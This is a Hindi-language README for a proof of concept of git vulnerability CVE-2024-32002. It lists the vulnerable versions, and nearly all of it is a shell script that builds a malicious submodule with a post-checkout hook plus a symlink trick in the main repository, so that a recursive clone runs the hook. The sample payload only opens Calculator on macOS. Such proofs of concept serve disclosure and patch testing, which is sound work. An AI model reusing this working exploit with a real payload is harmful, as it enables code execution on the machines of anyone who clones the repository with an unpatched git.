
git भेद्यता CVE-2024-32002 के लिए एक प्रूफ ऑफ कॉन्सेप्ट
एक सरल प्रूफ-ऑफ-कॉन्सेप्ट जो कैलकुलेटर को निष्पादित करता है (केवल macOS उदाहरण)। git clone --recursive कमांड का उपयोग करने पर, यह रेपो https://github.com/markuta/hooky को भी खींचेगा, जिसमें एक post-checkout स्क्रिप्ट है। अधिकांशतः कमिट फिक्स फ़ाइल t7406-submodule-update.sh पर आधारित है।
नोट:
2.45.1,2.44.1,2.43.4,2.42.2,2.41.1,2.40.2, और2.39.4से पहले के संस्करण असुरक्षित हैं।
git clone --recursive github.com/markuta/CVE-2024-32002
# Submodule repo (payload)
git init hooky
cd hooky
mkdir -p y/hooks
echo "open -a Calculator.app" > y/hooks/post-checkout
chmod +x y/hooks/post-checkout
git add y/hooks/post-checkout
git commit -m post-checkout
hook_repo_path="$(pwd)"
# Main repo
git init captain
git submodule add --name x/y "$hook_repo_path" A/modules/x
git commit -m add-submodule
printf .git >dotgit.txt
git hash-object -w --stdin <dotgit.txt >dot-git.hash
printf "120000 %s 0\ta\n" "$(cat dot-git.hash)" >index.info
git update-index --index-info <index.info
git commit -m add-symlink